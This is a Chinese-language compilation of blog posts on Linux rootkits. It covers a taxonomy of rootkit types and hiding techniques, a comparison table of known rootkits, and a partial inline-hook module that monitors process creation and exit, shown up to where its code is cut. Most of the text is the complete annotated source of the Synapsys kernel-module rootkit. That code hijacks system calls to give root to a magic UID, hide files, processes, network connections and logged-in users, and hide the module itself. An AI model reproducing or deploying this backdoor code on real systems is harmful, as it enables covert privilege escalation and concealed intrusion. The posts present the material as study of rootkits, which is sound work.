rootkit的主要分类:
应用级->内核级->硬件级
早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或修改.rhosts等系统配置文件等实现隐藏及后门;硬件级rootkit主要指bios rootkit,可以在系统加载前获得控制权,通过向磁盘中写入文件,再由引导程序加载该文件重新获得控制权,也可以采用虚拟机技术,使整个操作系统运行在rootkit掌握之中;目前最常见的rootkit是内核级rootkit。
内核级rootkit又可分为lkm rootkit、非lkm rootkit。lkm rootkit主要基于lkm技术,通过系统提供的接口加载到内核空间,成为内核的一部分,进而通过hook系统调用等技术实现隐藏、后门功能。非lkm rootkit主要是指在系统不支持lkm机制时修改内核的一种方法,主要通过/dev/mem、/dev/kmem设备直接操作内存,从而对内核进行修改。
非lkm rootkit要实现对内核的修改,首先需要获得内核空间的内存,因此需要调用kmalloc分配内存,而kmalloc是内核空间的调用,无法在用户空间直接调用该函数,因此想到了通过int 0x80调用该函数的方法。先选择一个不常见的系统调用号,在sys_call_table中找到该项,通过写/dev/mem直接将其修改为 kmalloc函数的地址,这样当我们在用户空间调用该系统调用时,就能通过int 0x80进入内核空间,执行kmalloc函数分配内存,并将分配好的内存地址由eax寄存器返回,从而我们得到了一块属于内核地址空间的内存,接着将要 hack的函数写入该内存,并再次修改系统调用表,就能实现hook系统调用的功能。
rootkit的常见功能:
隐藏文件:通过strace ls可以发现ls命令其实是通过sys_getdents64获得文件目录的,因此可以通过修改sys_getdents64系统调用或者更底层的 readdir实现隐藏文件及目录,还有对ext2文件系统直接进行修改的方法,不过实现起来不够方便,也有一些具体的限制。
隐藏进程:隐藏进程的方法和隐藏文件类似,ps命令是通过读取/proc文件系统下的进程目录获得进程信息的,只要能够隐藏/proc文件系统下的进程目录就可以达到隐藏进程的效果,即hook sys_getdents64和readdir等。
隐藏连接:netstat命令是通过读取/proc文件系统下的net/tcp和net/udp文件获得当前连接信息,因此可以通过hook sys_read调用实现隐藏连接,也可以修改tcp4_seq_show和udp4_seq_show等函数实现。
隐藏模块:lsmod命令主要是通过sys_query_module系统调用获得模块信息,可以通过hook sys_query_module系统调用隐藏模块,也可以通过将模块从内核模块链表中摘除从而达到隐藏效果。
嗅探工具:嗅探工具可以通过libpcap库直接访问链路层,截获数据包,也可以通过linux的netfilter框架在IP层的hook点上截获数据包。嗅探器要获得网络上的其他数据包需要将网卡设置为混杂模式,这是通过ioctl系统调用的SIOCSIFFLAGS命令实现的,查看网卡的当前模式是通过SIOCGIFFLAGS命令,因此可以通过hook sys_ioctl隐藏网卡的混杂模式。
密码记录:密码记录可以通过hook sys_read系统调用实现,比如通过判断当前运行的进程名或者当前终端是否关闭回显,可以获取用户的输入密码。hook sys_read还可以实现login后门等其它功能。
日志擦除:传统的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通过编写相应的工具对日志文件进行修改,还可以将HISTFILE等环境变设为/dev/null隐藏用户的一些操作信息。
内核后门:可以是本地的提权后门和网络的监听后门,本地的提权可以通过对内核模块发送定制命令实现,网络内核后门可以在IP层对进入主机的数据包进行监听,发现匹配的指定数据包后立刻启动回连进程。
rootkit的主要技术:
lkm注射、模块摘除、拦截中断(0x80、0x01)、劫持系统调用、运行时补丁、inline hook、端口反弹……
lkm注射:也是一种隐藏内核模块的方法,通过感染系统的lkm,在不影响原有功能的情况下将rootkit模块链接到系统lkm中,在模块运行时获得控制权,初始化后调用系统lkm的初始化函数,lkm注射涉及到elf文件格式与模块加载机制。
模块摘除:主要是指将模块从模块链表中摘除从而隐藏模块的方法,最新加载的模块总是在模块链表的表头,因此可以在加载完rootkit模块后再加载一个清除模块将rootkit模块信息从链表中删除,再退出清除模块,新版本内核中也可以通过判断模块信息后直接list_del。
拦截中断:主要通过sidt指令获得中断调用表的地址,进而获取中断处理程序的入口地址,修改对应的中断处理程序,如int 0x80,int 0x1等。其中拦截int 0x1是较新的技术,主要利用系统的调试机制,通过设置DR寄存器在要拦截的内存地址上下断点,从而在执行到指定指令时转入0x1中断的处理程序,通过修改0x1中断的处理程序即可实现想要的功能。
劫持系统调用:和拦截中断类似,但主要是对系统调用表进行修改,可以直接替换原系统调用表,也可以修改系统调用表的入口地址。在2.4内核之前,内核的系统调用表地址是导出的,因此可以直接对其进行修改。但在2.6内核之后,系统调用表的地址已经不再导出,需要对0x80中断处理程序进行分析从而获取系统调用表的地址。
运行时补丁:字符设备驱动程序和块设备驱动程序在加载时都会向系统注册一个Struct file_operations结构实现指定的read、write等操作,文件系统也是如此,通过修改文件系统的file_operations结构,可以实现新的read、write操作等。
inline hook:主要是指对内存中的内核函数直接修改,而不影响原先的功能,可以采用跳转的办法,也可以修改对下层函数的call offset实现。
端口反弹:主要是为了更好的突破防火墙的限制,可以在客户端上监听80端口,而在服务器端通过对客户端的80端口进行回连,伪装成一个访问web服务的正常进程从而突破防火墙的限制。
附:Rootkit on Linux x86 v2.6.pdf: http://download.csdn.net/detail/lucien_cc/4284660
熬夜写llroot,写的头有些晕了,代码也有点乱,所以停下来歇歇;就又去逆向昨天下的那个rootkit,搞了1个多小时,头又晕了,才搞了不到一半,夜深人静的时候,孤孤单单,没有美女陪,不爽啊.想想好长时间没有在这个blog上写技术文章了,于是就转来下面一篇文章,文章比较老了,针对linux2.2内核的,但是基本的思路是没有失效的.正好这学期的操作系统课程考试也打算让研究生写一些类似的程序,所以贴在这里,也可以给他们参考下.等我今年把现在的事情忙完,把计划中的那几个开发板做出来后,明年要回头认真写个linux下的rootkit玩玩.
前言
----------
这个rootkit应该都不陌生,功能相对很强大,也是lkm实现的rootkit的典型,通过对他代码的实际分析可以看出利用linux的lkm我们可以做很多很多有趣的木马程序。
就象Berserker本人对这个rootkit的解释一样,它截获open,getuid,kill,fork,clone,write,
query_module,getdents等系统调用,来实现针对特殊uid的root权限授予,隐藏自身文件,隐藏进程及其子进程和派生进程,隐藏netstat,finger,who等命令的输出,隐藏modules,呵呵。
本文要求你最好具有基本的lkm内核编程知识,截获系统调用我不多说了,至于怎么从用户区来获得参数,以及如何在内核空间为用户区分配内存的问题,我这里简单介绍一下,因为它是lkm可以作为hacking kernel的关键。
我们如何从用户区取得参数
--------------------------
在《linux可装载内核完全指南》这篇文章中定义了几个实现方法,我这里重复一下,我自己也介绍一种可行的方法。
好,我们来看看这个函数的定义:
char *strncpy_fromfs(char *dest,const char *src,int n)
{
char *tmp=src;
int compt=0;
while((dest[compt-1]!='\0')&&(compt!=n));
do {
dest[compt++]=_get_user(tmp++,1);
}
return dest;
}
这是一个经典例程,函数返回用户区的字符串指针,关键是我们利用了get_user(...)这个核心函数,它的作用可以用来将数据从用户态移到内核空间,同样道理我们可以用mencpy_fromfs(char *dest,const char *src,int n)来移动数据。
好,再给出第二个方法,copy_from_user(...),很简单,函数返回用户区数据指针,我们看一下核心代码给出的函数原型:
static inline unsigned long
__generic_copy_from_user_nocheck(void *to, const void *from, unsigned long n)
{
__copy_user_zeroing(to,from,n);
return n;
}
这种也就是synapsys.c里面用的方法。
我们如何在内核空间为用户函数分配内存空间
--------------------------------------------
这个问题我解释一下,还是相对于上面来说,我们依然用这个函数:mencpy_tofs(void *to,const void *from,unsigned long count);但是我们如何在内核分配内存给*to呢?我们通过brk调用于current->mm->brk来增加未使用的数据段大小。我们给current进程分配内存空间,用来拷贝内核空间到用户模式。需要用到的brk调用就需要我们自己构建了,很简单,参看核心代码:
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
return (type) __res; \
errno = -__res; \
return -1; \
}
另外一种方法就是利用get_ds来获取用户数据段寄存器,然后把内核用来指向用户段的段选器设成需要的ds值就可以了,我们用set_fs(get_ds)来做到,具体这两个调用的实现参看核心代码。
第三种方式就是synapsys.c中所用到的利用copy_to_user(...),前面已有所介绍,就不多说了。
分析synapsys.c源代码
-------------------------
/*********************************************************************************************************************
* Synapsys-lkm version 0.4
*
* coded by Berserker for Neural Collapse Crew [www.neural-collapse.org]
*
* for questions, suggestions, bug report ----> berserker.ncl@infinito.it
*
* 描述 : Synapsys 是一个针对linux内核版本为2.2.x的lkm的rootkit. 实现文件和目录的隐藏 , 进程隐藏
* (包括子进程和派生进程), 隐藏netstat输出 (定义 port和host/ip/port/protocol变量), 以root特权来
* 定义uid, 用户隐藏(finger/who/w), 模块本身的隐藏. 加载模块之后,你可以完全控制open()系统调用;
* 可以任意激活/卸载, 可以改变隐藏文件的前缀, 在netstat输出里面屏蔽行信息以及隐藏用户列表。
*
*
* Saluti e Ringraziamenti : norby , anyone, beholder, mandarine, asfalto, jerusalem
*
* 编译方法: gcc -c -O3 -fomit-frame-pointer Synapsys.c
*
*********************************************************************************************************************/
#define MODULE
#define __KERNEL__
#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/mm.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/if.h>
#include <linux/smp_lock.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/segment.h>
#include <malloc.h>
char *magicword = "traboz"; /* 通过open调用来控制lkm的关键字 */
char file2hide[20] = "NCL_ph1l3"; /* 要隐藏的文件名包含的关键字 */
char hiddenuser[20] = "Ncl"; /* 在finger/who/w等命令的输出里隐藏的user值 */
char netstatstuff[20] = "host_or_ip_or_port"; /* 要隐藏的netstat命令的输出行 */
#define HIDDEN_PORT "3012" /* 定义端口号为*3012* */
#define PF_INVISIBLE 0x00002000
#define SIGNAL_INVISIBLE 32 /* 定义为隐藏进程发送的信号量 */
#define MAGIC_UID 666 /*定义MAGIC_UID值*/
#define LKM_NAME "Synapsys" /*定义lkm程序的程序名,不多说了:)*/
#define M_UID_FUNC "muid" /* 定义为MAGIC_UID激活/卸载root特权的开关字(不知道这样解释是否理解,西西)*/
#define GETDENTS_FUNC "hidf" /* 定义激活/卸载隐藏文件及进程的开关字 */
#define UNINST_LKM "unin" /* 卸载moudle*/
#define NETSTAT_FUNC "hidn" /* 定义激活/卸除netstat命令输出的开关字 */
#define FINGER_FUNC "hidu" /* 定义激活/卸除用户信息的开关字 */
#define HIDELKM_FUNC "hidm" /* 定义激活/卸除lkm本身隐藏的开关字 */
#define BE_VERBOSE_CMD "verbose" /*捕捉每个关键的变量值*/
int uid_func = 1; /* 1代表激活状态,0代表非激活(卸除)状态,缺省是全部激活状态*/
int hidf_func = 1;
int nets_func = 1;
int hidu_func = 1;
int hidm_func = 1;
extern void* sys_call_table[];/*导出系统调用表*/
asmlinkage int (*real_open)(const char *, int ,int );/*定义open调用*/
asmlinkage int (*real_getuid)(); /*定义getuid调用*/
asmlinkage int (*real_getdents)(unsigned int, struct dirent *,unsigned int);/*定义getdents调用*/
asmlinkage int (*real_kill)(int, int); /*定义kill调用*/
asmlinkage int (*real_fork)(struct pt_regs);/*定义fork调用*/
asmlinkage int (*real_clone)(struct pt_regs);
asmlinkage int (*real_write)(unsigned int , char *, unsigned int);
asmlinkage int (*real_query_module)(const char *, int, char *, size_t, size_t *);
asmlinkage void cleanup_module(void);
/*我们要替换的open调用*/
asmlinkage int hack_open(const char *pathname, int flag, int mod) {
/*这个asmlinkage定义,我费了很大的心思理解,后来在核心代码的socket.c中找到了,是一个内联函数,
主要是gcc在编译的时候连接asm代码*/
char *k_pathname;
char *x,*cmd,*tmp,*arg;
int i = 0;
k_pathname = (char*) kmalloc(256, GFP_KERNEL);
copy_from_user(k_pathname, pathname, 255);/*从用户区得到pathname值到内核空间*/
x = strstr(k_pathname, magicword); /*检查pathname里面有没有我们想要隐藏的东东*/
if ( x ) {
tmp = &x[strlen(magicword)];
if (strlen(tmp) >= 4) {
if (strlen(tmp) > 4)
arg = &tmp[4];
else arg = 0;
cmd = strncpy(cmd, tmp, 4);
cmd[4] = '\0';
if (strcmp(cmd,M_UID_FUNC) == 0) {
if (arg == 0) {
if (uid_func == 1) uid_func--;
else uid_func++;
}
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
printk("the value of uid_func is : %d\n",uid_func);
}
else if (strcmp(cmd,GETDENTS_FUNC) == 0) { /*确定隐藏文件本身的目录列表显示*/
if (arg == 0) {
if (hidf_func) hidf_func--;
else hidf_func++;
}
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
printk("the value of hidf_func is : %d the hidden files prefix is : %s\n ",hidf_func,file2hide);
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
memset(file2hide,0,sizeof(file2hide));
strncpy(file2hide,arg,strlen(arg));
}
}
else if (strcmp(cmd,NETSTAT_FUNC) == 0) { /*确定隐藏netstat的输出行*/
if (arg == 0) {
if (nets_func == 1) nets_func--;
else nets_func++;
}
else if(strcmp(arg,BE_VERBOSE_CMD) == 0) {
printk("the value of nets_func is : %d the hidden port is: %s are hidden lines that contains %s too\n"
,nets_func, HIDDEN_PORT, netstatstuff );
}
else if (strcmp(arg,BE_VERBOSE_CMD) != 0) {
memset(netstatstuff,0,sizeof(netstatstuff));
strncpy(netstatstuff,arg,strlen(arg));
}
}
else if(strcmp(cmd,FINGER_FUNC) == 0) { /*确定隐藏finger输出*/
if (arg == 0) {
if (hidu_func == 1) hidu_func--;
else hidu_func++;
}
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
printk("the value of hidu_func is : %d the hidden user is %s\n", hidu_func, hiddenuser);
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
memset(hiddenuser,0,sizeof(hiddenuser));
strncpy(hiddenuser,arg,strlen(arg));
}
}
else if(strcmp(cmd,HIDELKM_FUNC) == 0) { /*确定隐藏自身模块*/
if (arg == 0) {
if (hidm_func == 1) hidm_func--;
else hidm_func++;
}
else if (arg != 0&& strcmp(arg,BE_VERBOSE_CMD) == 0)
printk("the value of hidm_func is : %d the module name hidden is : %s\n",hidm_func, LKM_NAME);
}
else if (!strcmp(cmd,UNINST_LKM)) {
printk("unistalling %s\n",LKM_NAME);
cleanup_module();
}
}
kfree(k_pathname); /*释放内核内存空间*/
return (real_open(pathname, flag, mod));
}
else {
kfree(k_pathname);
return(real_open(pathname, flag, mod));
}
}
/*开始截获调用!*/
asmlinkage int hack_getuid() { /*截获getuid调用*/
int a;
if(uid_func == 1 && current->uid == MAGIC_UID ) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
/*解释一下,怎么来截获呢?我大概讲一下,主要大家还是要看一下lkm的实现原理,
接获这个调用的意思是:当指向当前进程的指针current->uid为我们前面所确定的
MAGIC_UID的值的时候,也就是我们以这个MAGIC_UID登陆系统的是后,使当前进程的
uid,euid,gid,egid都为0,应该知道这意味这什么吧?西西*/
a = real_getuid();
return a; /*用回真实的getuid调用*/
}
asmlinkage int my_atoi (char *str) {
int ret = 0;
int i;
for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
ret = 10 * ret + str[i] - '0';
return ret;
}
/*该隐藏我们进程的任务列表结构啦*/
asmlinkage inline char *task_name(struct task_struct *p, char *buf) {
int i;
char *name;
name = p->comm;
i=sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while(i);
*buf = '\n';
return buf + 1;
}
/*取得pid*/
struct task_struct *get_task(pid_t pid) {
struct task_struct *p = current;
do {
if (p->pid == pid) return p;
p = p->next_task;
}
while (p != current);
return NULL;
}
/*隐藏pid!*/
asmlinkage int is_invisible(pid_t pid) {
struct task_struct *task = get_task(pid);
if (task == NULL) return 0;
if (task->flags & PF_INVISIBLE) return 1;
return 0;
}
/*截获kill调用,当调用kill来发信号给我们uid或euid时,就返回一个没有该进程的信息*/
asmlinkage int hack_kill(pid_t pid, int sig) {
struct task_struct *task = get_task(pid);
if(task == NULL)
return(-ESRCH);
else if(current->uid && current->euid)
return(-EPERM);
else if (sig == SIGNAL_INVISIBLE) {
task->flags |= PF_INVISIBLE;
}
else {
return (*real_kill)(pid, sig);
}
}
/*截获fork调用,隐藏派生的子进程*/
asmlinkage int hack_fork(struct pt_regs regs) {
struct task_struct *task;
pid_t pid;
int h = 0;
pid = real_fork(regs);
task = get_task(pid);
if (is_invisible(current->pid))
h++;
if (h && pid >= 0) {
if (task == NULL)
return -ESRCH;
if (pid <= 1)
return -1;
task->flags |= PF_INVISIBLE;
}
return pid ;
}
asmlinkage int hack_clone(struct pt_regs regs) {
struct task_struct *task;
pid_t pid;
int h = 0;
pid = real_clone(regs);
task = get_task(pid);
if (is_invisible(current->pid))
h++;
if (h && pid >= 0) {
if (task == NULL)
return -ESRCH;
if (pid <= 1)
return -1;
task->flags |= PF_INVISIBLE;
}
return pid ;
}
/*呵呵,开始隐藏我们的文件,接获getdents调用。这个截获很基础,就不多做注释了*/
asmlinkage int hack_getdents( unsigned int fd, struct dirent *dirp, unsigned int count) {
unsigned int getdret,n;
int x , proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
char *hiddenfile = file2hide; /*定义我们要隐藏的文件名*/
getdret = (*real_getdents)(fd,dirp,count);
/*定义目录节点*/
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
MINOR(dinode->i_dev) == 1) proc++;
if (getdret > 0 ) {
dirp2 = (struct dirent *) kmalloc(getdret, GFP_KERNEL);
copy_from_user(dirp2, dirp, getdret);/*获取用户区参数*/
dirp3 = dirp2;
x = getdret ;
while (x > 0) {
n = dirp3->d_reclen;
x -= n;
if (((strstr ((dirp3->d_name), hiddenfile) != NULL ||
(proc && is_invisible(my_atoi(dirp3->d_name)))) && hidf_func )) {
if (x != 0)
memmove (dirp3, (char *) dirp3 + dirp3->d_reclen, x);
else
dirp3->d_off = 1024;
getdret -= n;
}
if(dirp3->d_reclen == 0) {
getdret -= x;
x = 0;
}
if ( x != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
copy_to_user(dirp, dirp2, getdret);
kfree(dirp2);
}
return getdret;
}
/*截获write调用*/
asmlinkage int hack_write(unsigned int fd, char *buf,unsigned int count) {
char *k_buf;
char *user = hiddenuser;
char *whtvr = netstatstuff;
if (strcmp(current->comm,"netstat" ) != 0 && strcmp(current->comm, "finger") != 0 && strcmp(current->comm, "w") != 0 && strcmp(current->comm, "who") )
return real_write(fd, buf, count);
if ((strcmp(current->comm, "netstat") == 0) && nets_func) {
k_buf = (char *) kmalloc(2000, GFP_KERNEL);
memset(k_buf,0,2000);
copy_from_user (k_buf, buf, 1999);
if (strstr(k_buf,HIDDEN_PORT) || strstr(k_buf,whtvr) ) {/*检查是否是有我们要隐藏的netstat行*/
kfree(k_buf);
return count;
}
kfree(k_buf);
}
if ((strcmp(current->comm, "finger") == 0 || strcmp(current->comm, "w") || strcmp(current->comm, "who")) && hidu_func) {
k_buf = (char *) kmalloc(2000, GFP_KERNEL);/*在内核分配内存空间*/
memset(k_buf,0,2000);
copy_from_user (k_buf, buf, 1999); /*从用户区获得参数*/
if (strstr(k_buf,user)) { /*从finger输出找出我们的用户标示*/
kfree(k_buf);
return count;
}
kfree(k_buf);
}
return real_write(fd, buf,count);
}
/*截获query_module调用来隐藏模块自身*/
asmlinkage int hack_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) {
int r, a;
char *ptr, *match;
r = real_query_module(name, which, buf, bufsize, ret);
if (r == -1)
return -ENOENT;
if (which != QM_MODULES)
return r;
ptr = buf;
for (a = 0; a < *ret; a++) {
if (!strcmp(LKM_NAME, ptr) && hidm_func) {
match = ptr;
while (*ptr)
ptr++;
ptr++;
memcpy(match, ptr, bufsize -(ptr -(char *)buf));
(*ret)--;
return r;
}
while (*ptr)
ptr++;
ptr++;
}
return r;
}
/*开始加载我们的内核模块!*/
int init_module(void){
real_open=sys_call_table[SYS_open];/*保存原open调用*/
sys_call_table[SYS_open]=hack_open;/*截获!*/
real_getuid=sys_call_table[SYS_getuid];/*保存原getuid调用*/
sys_call_table[SYS_getuid]=hack_getuid;/*截获*/
real_getdents=sys_call_table[SYS_getdents];/*保存原getdents调用*/
sys_call_table[SYS_getdents]=hack_getdents;/*截获!*/
real_kill=sys_call_table[SYS_kill];/*保存原kill调用*/
sys_call_table[SYS_kill]=hack_kill;/*截获!*/
real_fork=sys_call_table[SYS_fork];/*保存原fork调用*/
sys_call_table[SYS_fork]=hack_fork;/*截获!*/
real_clone=sys_call_table[SYS_clone];/*保存原clone调用*/
sys_call_table[SYS_clone]=hack_clone;/*截获*/
real_write=sys_call_table[SYS_write];/*保存write调用*/
sys_call_table[SYS_write]=hack_write;/*截获*/
real_query_module=sys_call_table[SYS_query_module];/*保存原query_module调用*/
sys_call_table[SYS_query_module]=hack_query_module;/*截获*/
return 0;
}
void cleanup_module(void){ /*卸载*/
sys_call_table[SYS_open]=real_open;
sys_call_table[SYS_getuid]=real_getuid;
sys_call_table[SYS_getdents]=real_getdents;
sys_call_table[SYS_kill]=real_kill;
sys_call_table[SYS_fork]=real_fork;
sys_call_table[SYS_clone]=real_clone;
sys_call_table[SYS_write]=real_write;
sys_call_table[SYS_query_module]=real_query_module;
}
个人工作之余的实践总结,简单地把RootKit分为用户态rootkit和内核级rootkit。内核级rootkit可分基于LKM 的rootkit(又细分为系统调用表修改类以及VFS层rootkit等)和非LKM的rootkit(如系统调用表重定向等)。Linux下还有BIOS、PCI、Boot(NTLDR、BCD,Grub)等更新颖技术的rootkit暂时不提供样本,同时如前面所说的,完全是个人的分析总结,不足之处欢迎指导交流!
下面用图表格来分析对比。
序号
|
典型代表
|
控制方式
|
适用内核版本
|
隐藏/反检测特点
|
备注
|
1
|
lrk5
|
主动连接
|
2.6.X
|
替换用户态ls,ps,netstat等。
|
第一代
用户态RootKit,代码较多;安装简洁,容易上手。
|
2
|
knark-0.59
|
主动连接
|
2.2.x
|
Knark0.59具有以下特性:
1、隐藏或显示文件或目录;
2、隐藏进程;
3、隐藏TCP或UDP连接;
4、程序执行重定向;
5、改变一个运行进程的UID/GID的工具;
6、非授权地、特权程序远程执行守护进程。
|
Linux 2.2内核下功能强大的LKM(Loadable Kernel Modules) rootkit。
调用表修改类 rootkit通过修改导出的系统调用表,对与攻击行为相关的系统调用进行替换,隐藏攻击者的行踪。
|
3
|
sk-1.3b
|
主动连接,反向连接
|
2.2.x, 2.4.x
|
1:sk 后门服务端程序为静态ELF文件,压缩之后就几十K的大小;
2:通过对肉鸡的任何开放的TCP端口发送特定数据就可以激活后门,端口复用;
3:sk采用动态隐藏的方式来隐藏指定的内容,包括文件,进程,网 络连接;
4:sk2可以感染系统的elf文件达到自启动的目的,也可以通过替换系统的init文件来实现自动启动。
|
全称suckit(super user control kit);运行于Linux 2.4内核下最经典的
非LKM层 rootkit。并没有修改系统调用跳转表的内容,而是首先拷贝了系统调用表,然后将拷贝的系统调用表按照入侵者的意图进行修改,执行入侵者改写的系统调用响应函数。然后将system_call从旧的系统调用表上移开,指向新的系统调用表。
|
4
|
adore-ng-056-wztfix
|
主动连接,反向连接
|
2.4.X—2.6.X
|
1:adore-ng稳定性较好;
2:adore-ng后门服务端程序具体环境动态编译;
3:须使用客户端手动的去隐藏指定的进程、网络和文件;
4:adore-ng可以可以通过插入或者替换系统模块来实现自动启动。
|
Linux 2.4-2.6经典的LKM;
VFS层 rootkit 并不修改系统调用层的内容,而是通过修改 VFS层的具体处理函数,如替换 VFS 层的 file_ops 等函数,来实现信息隐藏目的。
|
5
|
WNPS
|
主动连接,反向连接
|
2.6.X
|
1、隐藏:
隐藏指定文件
隐藏文件中特定的内容
隐藏进程
动态隐藏网络连接、进程
隐藏自身模块
保护相关模块、进程、文件不被跟踪
2、内核反弹后门,以设置定时自动回连;
3、跨内核平台简易安装,附带一个wnps.ko就可以管理所有2.6内核的机器;
4、伪终端支持,键盘记录功能;
5、比adore-ng更稳定的模块注射方式;
6、通讯
加密。
|
adore-ng加强版,加密通信,2.6内核通用,隐蔽性更高。
|
6
|
Ddrk
|
主动连接
|
2.6.X
|
1、隐藏性好:
隐藏进程
隐藏网络连接
隐藏自身模块
2、反chkrootkit,rkhunter等。
|
是一个
Linux结合sk和adore-ng优点,内核态+用户态+内核态的rootkit。
|
还是实验室蛋疼项目的需求催出来的东西,蛋疼要死,CS专业读研难道就等于干2-3年义工??本人对Linux内核无爱,好吗!!!
Linux实际上木有线程这玩意,具体到内核里面就是个进程组头+一堆轻量级进程
太感谢Linus了,工作量瞬间下来了,在内核线程/进程无差别的,写一套东西就忽悠交差说是两套都做了,反正那帮子人也不懂。。。。
所有的进程创建都是通过do_fork()内核函数来做的,所有进程销毁都是走do_exit(),系统调用什么的都是这两个函数的封装而已
比如下面,和创建进程/线程相关的系统调用的处理函数。。。
- asmlinkage int sys_fork(struct pt_regs regs)
- {
- return do_fork(SIGCHLD, regs.esp, ®s, 0, NULL, NULL);
- }
- asmlinkage int sys_clone(struct pt_regs regs)
- {
- unsigned long clone_flags;
- unsigned long newsp;
- int __user *parent_tidptr, *child_tidptr;
- clone_flags = regs.ebx;
- newsp = regs.ecx;
- parent_tidptr = (int __user *)regs.edx;
- child_tidptr = (int __user *)regs.edi;
- if (!newsp)
- newsp = regs.esp;
- return do_fork(clone_flags, newsp, ®s, 0, parent_tidptr, child_tidptr);
- }
- /*
- * This is trivial, and on the face of it looks like it
- * could equally well be done in user mode.
- *
- * Not so, for quite unobvious reasons - register pressure.
- * In user mode vfork() cannot have a stack frame, and if
- * done by calling the "clone()" system call directly, you
- * do not have enough call-clobbered registers to hold all
- * the information you need.
- */
- asmlinkage int sys_vfork(struct pt_regs regs)
- {
- return do_fork(CLONE_VFORK | CLONE_VM | SIGCHLD, regs.esp, ®s, 0, NULL, NULL);
- }
hook了这两个函数就能监控全部的创建销毁了,,
关于怎么hook,在飞客杂志上找到几篇inline hook,都是修改被hook函数入口处的汇编,插入JMP到自己代码再跑完再手动平衡堆栈JMP回去,累不累额,,,
然后看到这个Ph4nt0m Security Team小组的文章http://blog.csdn.net/lucien_cc/article/details/7544834
真可惜,这个小组现在的主站已经不能访问了,还好在Google Sites里面还能找到小组以前的文章
http://www.80vul.com/ 貌似是新站
OK,回来,文章提到不改动入口,而是修改被hook函数的里面调用下层函数的call,貌似实现简单的多啦。。。
看看do_fork 和 do_exit 的代码
- fastcall NORET_TYPE void do_exit(long code)
- {
- struct task_struct *tsk = current;
- struct taskstats *tidstats;
- int group_dead;
- unsigned int mycpu;
- profile_task_exit(tsk);
- WARN_ON(atomic_read(&tsk->fs_excl));
- ...
- }//任何进程进入这个函数就是死定了,上下文到这里就没有了
- long do_fork(unsigned long clone_flags,
- ...
- {
- struct task_struct *p;
- int trace = 0;
- struct pid *pid = alloc_pid();
- ...
- p = copy_process(clone_flags, stack_start, regs, stack_size, parent_tidptr, child_tidptr, nr);
- if (!IS_ERR(p)) {
- ...
- } else {
- free_pid(pid);
- nr = PTR_ERR(p);
- }
- return nr;
- }
代码很明白了do_exit会调用到profile_task_exit,并且进程是必死的。。。
do_fork会调用copy_process复制进程,如果copy_process成功,进程就创建成功了,最后把PID值返回回去
SO,只需要把这两次函数调用的call语句修改了就能监控全部的创建与销毁了。
最后实现代码如下:
- #include <linux/kernel.h>
- #include <linux/module.h>
- #include <linux/err.h>
- #include <linux/smp_lock.h>
- MODULE_LICENSE("GPL");
- #define _FORK_copy_process 0xc04234f9
- #define _EXIT_profile_task_exit 0xc04268cf
- #define _DO_EXIT_ 0xc0427ec1
- #define _DO_FORK_ 0xc0424944 //从 /boot/System.map-$(uname -r) 能找到这些地址
- //CR0的宏,网上扒的
- #define CLEAR_CR0 asm ("pushl %eax\n\t" \
- "movl %cr0, %eax\n\t" \
- "andl $0xfffeffff, %eax\n\t" \
- "movl %eax, %cr0\n\t" \
- "popl %eax");
- #define SET_CR0 asm ("pushl %eax\n\t" \
- "movl %cr0, %eax\n\t" \
- "orl $0x00010000, %eax\n\t" \
- "movl %eax, %cr0\n\t" \
- "popl %eax");
- struct task_struct *(*orig_copy_process)(unsigned long clone_flags,
- unsigned long stack_start,
- struct pt_regs *regs,
- unsigned long stack_size,
- int __user *parent_tidptr,
- int __user *child_tidptr,
- int pid); //从内核源代码复制过来的函数声明
- static struct task_struct *my_copy_process(unsigned long clone_flags,
- unsigned long stack_start,
- struct pt_regs *regs,
- unsigned long stack_size,
- int __user *parent_tidptr,
- int __user *child_tidptr,
- int pid)
- {
- struct task_struct * ret;
- ret = (*orig_copy_process)(clone_flags,stack_start,regs,stack_size,parent_tidptr,child_tidptr,pid);
- if(!IS_ERR(ret))
- printk("---z---\tPID:%d fork %d successed!\n",current->pid,pid);
- else
- printk("---z---\tPID:%d fork %d failed!\n",current->pid,pid);
- return ret;
- }
- void (*orig_profile_task_exit)(struct task_struct * task);
- void my_profile_task_exit(struct task_struct * task)
- {//这个函数不是每个内核都有的,在CONFIG_PROFILING=n的情况下编译的内核,profile_task_exit不存在的,但是呢,在centos 5.5的内核里面是有的,管其他呢。。。。
- printk("---z---\tPID:%d exited!\n",current->pid);
- }
- static int replace_fun(unsigned long handle, unsigned long old_fun, unsigned long new_fun)
- {
- unsigned char *p = (unsigned char *)handle;
- int i = 0;
- while(1)
- {
- if(i++ > 128)
- return 0;
- if(*p == 0xe8)
